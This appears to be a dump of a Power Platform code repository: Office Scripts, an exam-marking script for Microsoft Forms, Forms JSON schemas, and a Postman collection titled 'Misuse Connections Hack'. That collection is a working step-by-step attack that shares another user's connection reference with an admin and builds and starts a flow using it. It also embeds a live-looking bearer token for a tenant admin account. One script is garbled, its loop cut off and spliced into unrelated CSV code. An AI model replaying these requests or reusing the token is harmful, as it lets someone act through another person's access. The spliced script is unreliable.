--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom Connectors/AutoReview_CustomConnector_1_0_0_1.zip
--------------------------------------------------------------------------------
/Custom Connectors/AutoReview_CustomConnector_2_0_0_0_managed.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom Connectors/AutoReview_CustomConnector_2_0_0_0_managed.zip
--------------------------------------------------------------------------------
/Custom Connectors/Regex_CustomerConnector_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom Connectors/Regex_CustomerConnector_1_0_0_1.zip
--------------------------------------------------------------------------------
/Exam Marker/Exam Marker.osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"\n\nfunction main(workbook: ExcelScript.Workbook, aQuestions: intQuestions[], oAnswers: intResponse, iPassScore: number) {\n\n const aAnswers: intAnswers[] = JSON.parse(oAnswers.answers) // convert anwers striing to array\n let data: intQuestScoring[] = []; // new array to pass back each question, answer, points and if passed\n let bCorrectAnswer: boolean; // for each question flag to see if correct\n let iPoints: number = 0 //total points avaialble for test\n let iPoint: number; // points per question \n let iTotalPoints: number = 0; // total points scored\n let sCorrect: string; //correct answer\n\n aQuestions.forEach((item, i, arr) => {\n const sAnswer = aAnswers.find(q => (q.questionId == item.id)).answer1\n if (item.type == \"Question.Choice\") {\n const oQuestInfo: intquestionInfo_Choices = JSON.parse(item.questionInfo);\n const aChoice: intChoices[] = oQuestInfo.Choices;\n const aCorrect: intChoices[] = aChoice.filter(a => (a.IsAnswerKey))\n sCorrect = JSON.stringify(aCorrect);\n\n if (oQuestInfo.ChoiceType == 1) {\n bCorrectAnswer = sAnswer == aCorrect[0].Description;\n } else {\n const aMulitAnswer: [] = JSON.parse(sAnswer)\n const aFindCorrect = aCorrect.filter(a => {\n return sAnswer.includes(a.Description)\n })\n bCorrectAnswer = (aFindCorrect.length == aCorrect.length) && (aCorrect.length == aMulitAnswer.length);\n }\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n iTotalPoints += oQuestInfo.Point;\n }\n\n if (item.type == \"Question.TextField\") {\n const oQuestInfo: intquestionInfo_Text = JSON.parse(item.questionInfo);\n if (oQuestInfo.hasOwnProperty('GradingBasis')) {\n sCorrect = oQuestInfo.GradingBasis;\n const aCorrect: intGradingBasis[] = JSON.parse(sCorrect)\n const aFindCorrect = aCorrect.filter(a => {\n return a.answer == sAnswer\n })\n bCorrectAnswer = aFindCorrect.length > 0\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n\n if (oQuestInfo.Point) {\n iTotalPoints += oQuestInfo.Point;\n }\n }\n }\n\n data.push({\n id: item.id,\n questionInfo: sCorrect,\n type: item.type,\n answer: sAnswer,\n points: iPoint,\n correct: bCorrectAnswer\n })\n })\n\n const oReturn: intReturn = {\n pass: iPoints >= iPassScore, //have they passed\n points: iPoints, //points scored\n passPoints: iPassScore, // required points to pass\n totalPoints: iTotalPoints, // total available points\n data: data // array of answers and correct answers for validation\n }\n \n return (oReturn)\n}\n\ninterface intQuestions {\n id: string,\n questionInfo: string,\n type: string\n}\n\ninterface intResponse {\n id: number,\n responder: string,\n submitDate: string,\n answers: string,\n responderName: string\n}\n\ninterface intQuestScoring {\n id: string,\n questionInfo: string,\n type: string,\n points: number,\n correct: boolean,\n answer: string\n}\n\ninterface intReturn {\n pass: boolean,\n points: number,\n passPoints: number,\n totalPoints: number,\n data: intQuestScoring[]\n}\n\ninterface intAnswers {\n answer1: string,\n questionId: string\n}\n\ninterface intquestionInfo_Choices {\n Choices: intChoices[],\n ChoiceType: number,\n AllowOtherAnswer: boolean,\n OptionDisplayStyle: string,\n ChoiceRestrictionType: string,\n ShowRatingLabel: boolean,\n Point: number\n}\n\ninterface intChoices {\n Description: string;\n FormsProDisplayRTText: string,\n IsAnswerKey: boolean\n}\n\ninterface intquestionInfo_Text {\n Multiline: boolean,\n ShowRatingLabel: boolean,\n Point: number,\n GradingBasis: string\n}\n\ninterface intGradingBasis {\n answer: string,\n questionId: string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aQuestions\",\"index\":0},{\"name\":\"oAnswers\",\"index\":1},{\"name\":\"iPassScore\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aQuestions\",\"oAnswers\",\"iPassScore\"],\"properties\":{\"aQuestions\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"}}}},\"oAnswers\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"number\"},\"responder\":{\"type\":\"string\"},\"submitDate\":{\"type\":\"string\"},\"answers\":{\"type\":\"string\"},\"responderName\":{\"type\":\"string\"}}},\"iPassScore\":{\"type\":\"number\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"pass\":{\"type\":\"boolean\"},\"points\":{\"type\":\"number\"},\"passPoints\":{\"type\":\"number\"},\"totalPoints\":{\"type\":\"number\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"points\":{\"type\":\"number\"},\"correct\":{\"type\":\"boolean\"},\"answer\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aQuestions\",\"comment\":\"\"},{\"name\":\"oAnswers\",\"comment\":\"\"},{\"name\":\"iPassScore\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Exam Marker/ExamMarker_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Exam Marker/ExamMarker_1_0_0_1.zip
--------------------------------------------------------------------------------
/Exam Marker/ms forms questions schema.json:
--------------------------------------------------------------------------------
1 | {
2 | "type": "object",
3 | "properties": {
4 | "@@odata.context": {
5 | "type": "string",
6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/questions(questionInfo,type,id)"
7 | },
8 | "value": {
9 | "type": "array",
10 | "items": {
11 | "type": "object",
12 | "properties": {
13 | "id": {
14 | "type": "string"
15 | },
16 | "type": {
17 | "type": "string",
18 | "enum":["Question.TextField","Question.Choice","Question.Date","Question.Ranking","Question.MatrixChoice","Question.MatrixChoice","Question.NPS"]
19 | },
20 | "questionInfo": {
21 | "type": "object",
22 | "anyOf": [
23 | {
24 | "description":"Question.TextField",
25 | "type":"object",
26 | "properties":{
27 | "Multiline":{
28 | "type":"boolean"
29 | },
30 | "ShowRatingLabel":{
31 | "type":"boolean"
32 | },
33 | "Point":{
34 | "type":"integer"
35 | },
36 | "GradingBasis":{
37 | "type": "array",
38 | "items": {
39 | "type":"object",
40 | "properties":{
41 | "answer": {
42 | "type": "string"
43 | },
44 | "questionid": {
45 | "type": "string",
46 | "description":"Only if answer set else not returned"
47 | }
48 | }
49 | }
50 | }
51 | }
52 | },
53 | {
54 | "description":"Question.Choices",
55 | "type":"object",
56 | "properties":{
57 | "ChoiceType":{
58 | "type":"integer",
59 | "enum":[1,2]
60 | },
61 | "AllowOtherAnswer":{
62 | "type":"boolean"
63 | },
64 | "OptionDisplayStyle":{
65 | "type":"string"
66 | },
67 | "ShuffleOptions":{
68 | "type":"boolean"
69 | },
70 | "ShowRatingLabel":{
71 | "type":"boolean"
72 | },
73 | "Point":{
74 | "type":"integer"
75 | },
76 | "Choices":{
77 | "type": "array",
78 | "items": {
79 | "type":"object",
80 | "properties":{
81 | "Description": {
82 | "type": "string"
83 | },
84 | "FormsProDisplayRTText": {
85 | "type": "string"
86 | },
87 | "IsAnswerKey": {
88 | "type": "boolean"
89 | }
90 | }
91 | }
92 | }
93 | }
94 | },
95 | {
96 | "description":"Question.Date",
97 | "type":"object",
98 | "items":{
99 | "properties":{
100 | "Date":{
101 | "type":"boolean"
102 | },
103 | "Time":{
104 | "type":"boolean"
105 | },
106 | "ShuffleOptions":{
107 | "type":"boolean"
108 | },
109 | "ShowRatingLabel":{
110 | "type":"boolean"
111 | },
112 | "Point":{
113 | "type":"integer"
114 | },
115 | "IsMathQuiz":{
116 | "type":"boolean"
117 | }
118 | }
119 | }
120 | },
121 | {
122 | "description":"Question.Ranking",
123 | "type":"object",
124 | "items":{
125 | "GradingBasis":{
126 | "type":"array",
127 | "items": {
128 | "type": "string"
129 | }
130 | }
131 | },
132 | "ShuffleOptions":{
133 | "type":"boolean"
134 | },
135 | "ShowRatingLabel":{
136 | "type":"boolean"
137 | },
138 | "Point":{
139 | "type":"integer"
140 | },
141 | "IsMathQuiz":{
142 | "type":"boolean"
143 | }
144 | },
145 | {
146 | "description":"Question.NPS",
147 | "type":"object",
148 | "items":{
149 | "properties":{
150 | "LeftDescription":{
151 | "type":"string"
152 | },
153 | "RightDescription":{
154 | "type":"string"
155 | },
156 | "ShuffleOptions":{
157 | "type":"boolean"
158 | },
159 | "ShowRatingLabel":{
160 | "type":"boolean"
161 | },
162 | "Point":{
163 | "type":"integer"
164 | },
165 | "IsMathQuiz":{
166 | "type":"boolean"
167 | }
168 | }
169 | }
170 | }
171 | ]
172 | }
173 | }
174 | }
175 | }
176 | }
177 | }
178 |
179 |
180 |
181 |
182 |
--------------------------------------------------------------------------------
/Exam Marker/ms forms responses schema.json:
--------------------------------------------------------------------------------
1 | {
2 | "type": "object",
3 | "properties": {
4 | "@@odata.context": {
5 | "type": "string",
6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/responses?$select=id,responder,submitDate,answers,responderName"
7 | },
8 | "value": {
9 | "type": "array",
10 | "items": {
11 | "id": {
12 | "type":"integer"
13 | },
14 | "startDate": {
15 | "type":"string",
16 | "format": "date-time"
17 | },
18 | "submitDate":{
19 | "type":"string",
20 | "format": "date-time"
21 | },
22 | "responder": {
23 | "type":"string",
24 | "format": "email"
25 | },
26 | "responderName": {
27 | "type":"string"
28 | },
29 | "answers":{
30 | "type":"array",
31 | "items":{
32 | "answer1":{
33 | "anyOf": [
34 | {
35 | "type":"string"
36 | },
37 | {
38 | "array":{
39 | "type":"string"
40 | }
41 | }
42 | ]
43 | },
44 | "questionId":{
45 | "type":"string"
46 | }
47 | }
48 | },
49 | "releaseDate": {
50 | "type":"string",
51 | "format": "date-time"
52 | }
53 | }
54 | }
55 | }
56 | }
--------------------------------------------------------------------------------
/Hacking/Misuse Shared Connection References/Misuse Connections Hack.postman_collection.json:
--------------------------------------------------------------------------------
1 | {
2 | "info": {
3 | "_postman_id": "cd1c23cd-99ba-4237-8503-d980f1d51da8",
4 | "name": "Misuse Connections Hack",
5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json",
6 | "_exporter_id": "17311769"
7 | },
8 | "item": [
9 | {
10 | "name": "List System Users",
11 | "request": {
12 | "method": "GET",
13 | "header": [],
14 | "url": {
15 | "raw": "{{dynamics_url}}/api/data/v9.2/systemusers?$filter=fullname eq '{{admin_name}}' or fullname eq '{{target_name}}'",
16 | "host": [
17 | "{{dynamics_url}}"
18 | ],
19 | "path": [
20 | "api",
21 | "data",
22 | "v9.2",
23 | "systemusers"
24 | ],
25 | "query": [
26 | {
27 | "key": "$filter",
28 | "value": "fullname eq '{{admin_name}}' or fullname eq '{{target_name}}'"
29 | }
30 | ]
31 | },
32 | "description": "This is used to show flow after it is created"
33 | },
34 | "response": []
35 | },
36 | {
37 | "name": "List Connection References",
38 | "request": {
39 | "method": "GET",
40 | "header": [],
41 | "url": {
42 | "raw": "{{dynamics_url}}/api/data/v9.2/connectionreferences?$filter= _createdby_value eq '{{target_sys_id}}'",
43 | "host": [
44 | "{{dynamics_url}}"
45 | ],
46 | "path": [
47 | "api",
48 | "data",
49 | "v9.2",
50 | "connectionreferences"
51 | ],
52 | "query": [
53 | {
54 | "key": "$filter",
55 | "value": " _createdby_value eq '{{target_sys_id}}'"
56 | }
57 | ]
58 | },
59 | "description": "This is used to show flow after it is created"
60 | },
61 | "response": []
62 | },
63 | {
64 | "name": "Share connection Reference",
65 | "request": {
66 | "method": "POST",
67 | "header": [],
68 | "body": {
69 | "mode": "raw",
70 | "raw": "{\r\n \"Target\": {\r\n \"connectionreferenceid\": \"{{connectionreference_id}}\",\r\n \"@odata.type\": \"Microsoft.Dynamics.CRM.connectionreference\"\r\n },\r\n \"PrincipalAccess\": {\r\n \"Principal\": {\r\n \"systemuserid\": \"{{admin_sys_id}}\",\r\n \"@odata.type\": \"Microsoft.Dynamics.CRM.systemuser\"\r\n },\r\n \"AccessMask\": \"ReadAccess,WriteAccess,ShareAccess\"\r\n }\r\n}",
71 | "options": {
72 | "raw": {
73 | "language": "json"
74 | }
75 | }
76 | },
77 | "url": {
78 | "raw": "{{dynamics_url}}/api/data/v9.0/GrantAccess",
79 | "host": [
80 | "{{dynamics_url}}"
81 | ],
82 | "path": [
83 | "api",
84 | "data",
85 | "v9.0",
86 | "GrantAccess"
87 | ]
88 | },
89 | "description": "This is used to show flow after it is created"
90 | },
91 | "response": []
92 | },
93 | {
94 | "name": "Create Flow",
95 | "request": {
96 | "method": "POST",
97 | "header": [],
98 | "body": {
99 | "mode": "raw",
100 | "raw": "{\r\n \"category\": 5,\r\n \"statecode\": 0,\r\n \"istransacted\": true,\r\n \"type\": 1,\r\n \"triggeroncreate\": false,\r\n \"runas\": 1,\r\n \"triggerondelete\": false,\r\n \"versionnumber\": 2980866,\r\n \"asyncautodelete\": false,\r\n \"name\": \"{{flow_name}}\",\r\n \"ismanaged\": false,\r\n \"businessprocesstype\": 0,\r\n \"clientdataiscompressed\": false,\r\n \"mode\": 0,\r\n \"introducedversion\": \"1.0\",\r\n \"iscrmuiworkflow\": false,\r\n \"statuscode\": 1,\r\n \"trustedaccess\": false,\r\n \"subprocess\": false,\r\n \"scope\": 4,\r\n \"ondemand\": false,\r\n \"componentstate\": 0,\r\n \"planverified\": false,\r\n \"syncworkflowlogonfailure\": false,\r\n \"primaryentity\": \"none\",\r\n \"clientdata\": \"{\\\"properties\\\":{\\\"connectionReferences\\\":{\\\"shared_sharepointonline\\\":{\\\"connectionName\\\":\\\"{{connection}}\\\",\\\"source\\\":\\\"Embedded\\\",\\\"id\\\":\\\"/providers/Microsoft.PowerApps/apis/shared_sharepointonline\\\",\\\"tier\\\":\\\"NotSpecified\\\"}},\\\"definition\\\":{\\\"$schema\\\":\\\"https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#\\\",\\\"contentVersion\\\":\\\"1.0.0.0\\\",\\\"parameters\\\":{\\\"$connections\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"Object\\\"},\\\"$authentication\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"SecureObject\\\"}},\\\"triggers\\\":{\\\"Recurrence\\\":{\\\"recurrence\\\":{\\\"frequency\\\":\\\"Minute\\\",\\\"interval\\\":1},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"ef06d664-1bbe-417d-8aac-095c65a0eb02\\\"},\\\"type\\\":\\\"Recurrence\\\"}},\\\"actions\\\":{\\\"Get_items\\\":{\\\"runAfter\\\":{},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"22ea8a5f-0415-413e-837d-1f85d83de0ce\\\"},\\\"type\\\":\\\"OpenApiConnection\\\",\\\"inputs\\\":{\\\"host\\\":{\\\"connectionName\\\":\\\"shared_sharepointonline\\\",\\\"operationId\\\":\\\"GetItems\\\",\\\"apiId\\\":\\\"/providers/Microsoft.PowerApps/apis/shared_sharepointonline\\\"},\\\"parameters\\\":{\\\"dataset\\\":\\\"https://37wcqv.sharepoint.com/sites/testsite\\\",\\\"table\\\":\\\"742435b6-7897-4636-ab8e-ec347405b9a6\\\"},\\\"authentication\\\":\\\"@parameters('$authentication')\\\"}}}}},\\\"schemaVersion\\\":\\\"1.0.0.0\\\"}\",\r\n \"createstage\": null,\r\n \"xaml\": null\r\n}\r\n",
101 | "options": {
102 | "raw": {
103 | "language": "json"
104 | }
105 | }
106 | },
107 | "url": {
108 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows",
109 | "host": [
110 | "{{dynamics_url}}"
111 | ],
112 | "path": [
113 | "api",
114 | "data",
115 | "v9.2",
116 | "workflows"
117 | ]
118 | },
119 | "description": "This creates the flow.\n\nThe connection can be found in the url when creating the connection. The user would just need the envirnoment id to access the connection screen in the make.powerautomate.com site. Additional connections can be used/added to any flow but this example just uses SharePoint\n\nThe connection can be found in the url when creating the connection. Additional connections can be used/added to any flow but this example just uses SharePoint"
120 | },
121 | "response": []
122 | },
123 | {
124 | "name": "List Flows",
125 | "request": {
126 | "method": "GET",
127 | "header": [],
128 | "url": {
129 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows?$filter=name eq '{{flow_name}}'",
130 | "host": [
131 | "{{dynamics_url}}"
132 | ],
133 | "path": [
134 | "api",
135 | "data",
136 | "v9.2",
137 | "workflows"
138 | ],
139 | "query": [
140 | {
141 | "key": "$filter",
142 | "value": "name eq '{{flow_name}}'"
143 | }
144 | ]
145 | },
146 | "description": "This is used to show flow after it is created"
147 | },
148 | "response": []
149 | },
150 | {
151 | "name": "Turn on flow",
152 | "request": {
153 | "method": "PATCH",
154 | "header": [],
155 | "body": {
156 | "mode": "raw",
157 | "raw": "{\r\n \"statecode\": 1,\r\n \"statuscode\": 2\r\n}",
158 | "options": {
159 | "raw": {
160 | "language": "json"
161 | }
162 | }
163 | },
164 | "url": {
165 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows({{workflow_id}})",
166 | "host": [
167 | "{{dynamics_url}}"
168 | ],
169 | "path": [
170 | "api",
171 | "data",
172 | "v9.2",
173 | "workflows({{workflow_id}})"
174 | ]
175 | },
176 | "description": "Turns flow on/ off. If using schedule trigger this can be used to make the flow run instantly"
177 | },
178 | "response": []
179 | },
180 | {
181 | "name": "Change Ref",
182 | "request": {
183 | "method": "PATCH",
184 | "header": [],
185 | "body": {
186 | "mode": "raw",
187 | "raw": "{\r\n \"clientdata\": \"{\\\"properties\\\":{\\\"connectionReferences\\\":{\\\"shared_sharepointonline\\\":{\\\"runtimeSource\\\":\\\"embedded\\\",\\\"connection\\\":{\\\"connectionReferenceLogicalName\\\":\\\"{{connectionReferenceLogicalName}}\\\"},\\\"api\\\":{\\\"name\\\":\\\"shared_sharepointonline\\\"}}},\\\"definition\\\":{\\\"$schema\\\":\\\"https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#\\\",\\\"contentVersion\\\":\\\"1.0.0.0\\\",\\\"parameters\\\":{\\\"$connections\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"Object\\\"},\\\"$authentication\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"SecureObject\\\"}},\\\"triggers\\\":{\\\"Recurrence\\\":{\\\"recurrence\\\":{\\\"frequency\\\":\\\"Minute\\\",\\\"interval\\\":1},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"ef06d664-1bbe-417d-8aac-095c65a0eb02\\\"},\\\"type\\\":\\\"Recurrence\\\"}},\\\"actions\\\":{\\\"Get_items\\\":{\\\"runAfter\\\":{},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"22ea8a5f-0415-413e-837d-1f85d83de0ce\\\"},\\\"type\\\":\\\"OpenApiConnection\\\",\\\"inputs\\\":{\\\"host\\\":{\\\"connectionName\\\":\\\"shared_sharepointonline\\\",\\\"operationId\\\":\\\"GetItems\\\",\\\"apiId\\\":\\\"/providers/Microsoft.PowerApps/apis/shared_sharepointonline\\\"},\\\"parameters\\\":{\\\"dataset\\\":\\\"https://37wcqv.sharepoint.com/sites/testsite\\\",\\\"table\\\":\\\"742435b6-7897-4636-ab8e-ec347405b9a6\\\"},\\\"authentication\\\":\\\"@parameters('$authentication')\\\"}}}},\\\"templateName\\\":\\\"\\\"},\\\"schemaVersion\\\":\\\"1.0.0.0\\\"}\"\r\n}",
188 | "options": {
189 | "raw": {
190 | "language": "json"
191 | }
192 | }
193 | },
194 | "url": {
195 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows({{workflow_id}})",
196 | "host": [
197 | "{{dynamics_url}}"
198 | ],
199 | "path": [
200 | "api",
201 | "data",
202 | "v9.2",
203 | "workflows({{workflow_id}})"
204 | ]
205 | },
206 | "description": "Turns flow on/ off. If using schedule trigger this can be used to make the flow run instantly"
207 | },
208 | "response": []
209 | }
210 | ],
211 | "auth": {
212 | "type": "bearer",
213 | "bearer": [
214 | {
215 | "key": "token",
216 | "value": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IktRMnRBY3JFN2xCYVZWR0JtYzVGb2JnZEpvNCIsImtpZCI6IktRMnRBY3JFN2xCYVZWR0JtYzVGb2JnZEpvNCJ9.eyJhdWQiOiJodHRwczovL29yZzk2YmU3YzE5LmFwaS5jcm0uZHluYW1pY3MuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvNmI2YzNlZGUtYWEwZC00MjY4LWE0NmYtOTZiNzYyMWIxM2E4LyIsImlhdCI6MTcyMzExNTcxMSwibmJmIjoxNzIzMTE1NzExLCJleHAiOjE3MjMxMjAyNzcsImFjY3QiOjAsImFjciI6IjEiLCJhaW8iOiJBVlFBcS84WEFBQUFBdDNiSm1tSm1xck5EdU1xdERDKzNMNncvQlRyTnRaZ0hVa2pndUVsUk41UjJDejBWZXMyeE8rVkx3ZE0xVTIvWm9jMTNodEcwTWVDamRra2pITGlwWENaWWh4VWhibk1Eclo3c1g1MVVhST0iLCJhbXIiOlsicHdkIiwibWZhIl0sImFwcGlkIjoiNjIwNGMxZDEtNDcxMi00YzQ2LWE3ZDktM2VkNjNkOTkyNjgyIiwiYXBwaWRhY3IiOiIwIiwiZmFtaWx5X25hbWUiOiJ3eWF0dCIsImdpdmVuX25hbWUiOiJkYXZpZCIsImlkdHlwIjoidXNlciIsImlwYWRkciI6IjE2OC4yMzMuMTA5LjAiLCJsb2dpbl9oaW50IjoiTy5DaVJtWW1JNU5qTXlZUzB6WVRKbUxUUmhPRGd0WW1aaVppMDBZV0ZrTjJFNFkyRTRNV1lTSkRaaU5tTXpaV1JsTFdGaE1HUXROREkyT0MxaE5EWm1MVGsyWWpjMk1qRmlNVE5oT0JvY1FXUnRhVzVBTXpkM1kzRjJMbTl1YldsamNtOXpiMlowTG1OdmJTQmoiLCJuYW1lIjoiZGF2aWQgd3lhdHQiLCJvaWQiOiJmYmI5NjMyYS0zYTJmLTRhODgtYmZiZi00YWFkN2E4Y2E4MWYiLCJwdWlkIjoiMTAwMzIwMDJDOTA5QUQ5RiIsInJoIjoiMC5BYjBBM2o1c2F3MnFhRUtrYjVhM1loc1RxQWNBQUFBQUFBQUF3QUFBQUFBQUFBQzlBSW8uIiwic2NwIjoidXNlcl9pbXBlcnNvbmF0aW9uIiwic3ViIjoieHB4R0plM1JSdEliczdpaGFZZFk5YlZoUEN3NkFaTl8wd05HemJlM0psQSIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJOQSIsInRpZCI6IjZiNmMzZWRlLWFhMGQtNDI2OC1hNDZmLTk2Yjc2MjFiMTNhOCIsInVuaXF1ZV9uYW1lIjoiQWRtaW5AMzd3Y3F2Lm9ubWljcm9zb2Z0LmNvbSIsInVwbiI6IkFkbWluQDM3d2Nxdi5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJ6UDU3d3B0bzgwYXFVTTBwTVFSU0FBIiwidmVyIjoiMS4wIiwid2lkcyI6WyI2MmU5MDM5NC02OWY1LTQyMzctOTE5MC0wMTIxNzcxNDVlMTAiLCJiNzlmYmY0ZC0zZWY5LTQ2ODktODE0My03NmIxOTRlODU1MDkiXSwieG1zX2lkcmVsIjoiMSAxMCJ9.h77dsGSaPTDc1OonQqvr8BN6UULKe7315MVF1bGFNQE6EKpou82UzjskHQPet5qQ7f453-jXhajJXYmaHXjtqrINw4JacTnk-ZWeLfcMBPsYfI1EFxaoRKCB7apdr2lxlNbxx3VhuE2RYLibW96Hqo2ro9fBjnu2v8EkvMuXi6RqMXJm94s2C2ctoc7hbAqWp3PQbSTszUjvtX4fX5Qww9IF21tysUy17Xx9hc9NCGBl2RXve5Q35FkZxkMLZ30icTyLTZqAV0EZbWdlhZZmC3oXvFhqz19DhQhclCmcV-DX6oGm_81-eML7N7Vptv7XdZuE5LLqMhWgr5DMyZhPDg",
217 | "type": "string"
218 | }
219 | ]
220 | },
221 | "event": [
222 | {
223 | "listen": "prerequest",
224 | "script": {
225 | "type": "text/javascript",
226 | "packages": {},
227 | "exec": [
228 | ""
229 | ]
230 | }
231 | },
232 | {
233 | "listen": "test",
234 | "script": {
235 | "type": "text/javascript",
236 | "packages": {},
237 | "exec": [
238 | ""
239 | ]
240 | }
241 | }
242 | ]
243 | }
--------------------------------------------------------------------------------
/Hacking/Misuse Shared Connection References/Power Platform Environment.postman_environment.json:
--------------------------------------------------------------------------------
1 | {
2 | "id": "614ebb0d-fb39-40d6-9086-41399b95893b",
3 | "name": "Power Platform Environment",
4 | "values": [
5 | {
6 | "key": "dynamics_url",
7 | "value": "https://org996d2b40.crm.dynamics.com",
8 | "type": "default",
9 | "enabled": true
10 | },
11 | {
12 | "key": "connection",
13 | "value": "",
14 | "type": "default",
15 | "enabled": true
16 | },
17 | {
18 | "key": "flow_name",
19 | "value": "",
20 | "type": "default",
21 | "enabled": true
22 | },
23 | {
24 | "key": "workflow_id",
25 | "value": "",
26 | "type": "default",
27 | "enabled": true
28 | },
29 | {
30 | "key": "admin_name",
31 | "value": "",
32 | "type": "default",
33 | "enabled": true
34 | },
35 | {
36 | "key": "target_name",
37 | "value": "",
38 | "type": "default",
39 | "enabled": true
40 | },
41 | {
42 | "key": "admin_sys_id",
43 | "value": "",
44 | "type": "default",
45 | "enabled": true
46 | },
47 | {
48 | "key": "target_sys_id",
49 | "value": "",
50 | "type": "default",
51 | "enabled": true
52 | },
53 | {
54 | "key": "connectionreference_id",
55 | "value": "",
56 | "type": "default",
57 | "enabled": true
58 | },
59 | {
60 | "key": "connectionReferenceLogicalName",
61 | "value": "",
62 | "type": "default",
63 | "enabled": true
64 | },
65 | {
66 | "key": "entra_id",
67 | "value": "",
68 | "type": "default",
69 | "enabled": true
70 | },
71 | {
72 | "key": "environment_id",
73 | "value": "",
74 | "type": "default",
75 | "enabled": true
76 | },
77 | {
78 | "key": "connectorid",
79 | "value": "",
80 | "type": "default",
81 | "enabled": true
82 | }
83 | ],
84 | "_postman_variable_scope": "environment",
85 | "_postman_exported_at": "2024-08-17T08:48:10.171Z",
86 | "_postman_exported_using": "Postman/11.8.2-240814-0826"
87 | }
--------------------------------------------------------------------------------
/Office Scripts/Bulk Email Conversion.osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"function main(workbook: ExcelScript.Workbook) {\r\n\tlet tableRange = workbook.getWorksheet(\"Sheet1\").getUsedRange().getValues();\r\n\tlet rowCount = tableRange.length;\r\n\tlet colCount = tableRange[0].length;\r\n\tlet rowObject: child[]=[];\r\n\tlet rowObject2: parent[] = [];\r\n\r\n\tfor (let r=1;r {\n let rIndex=index;\n if (value.length > 0) {\n let row = value.match(csvRegex);\n\n if (row[0].charAt(0) === ',') {\n row.unshift(\"\");\n }\n if (index != 0) { sJson += \"{\" }\n\n row.forEach((cell, index) => {\n row[index] = cell.indexOf(\",\") === 0 ? cell.substr(1) : cell;\n if (rIndex == 0) {\n aHeaders.push(row[index] .toString())\n } else {\n if (Number(row[index])){\n sJson += '\"' + aHeaders[index] + '\":' + row[index] + ','\n } else if (row[index] == \"TRUE\" || row[index] == \"FALSE\"){\n sJson += '\"' + aHeaders[index] + '\":' + row[index].toLowerCase() + ','\n }else{\n sJson += '\"' + aHeaders[index] + '\":\"' + row[index].trim() + '\",'\n }\n }\n });\n\n if (index != 0) {\n sJson = sJson.substring(0, sJson.length - 1);\n sJson += \"},\"\n }\n }\n });\n sJson = sJson.substring(0, sJson.length - 1);\n sJson += \"]\";\n return (sJson);\n}\n\n\n","description":"","copilotMetadata":null,"parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"csv\",\"index\":0}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"csv\"],\"properties\":{\"csv\":{\"type\":\"string\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"string\"}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"csv\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Office Scripts/HTML to JSON.osts:
--------------------------------------------------------------------------------
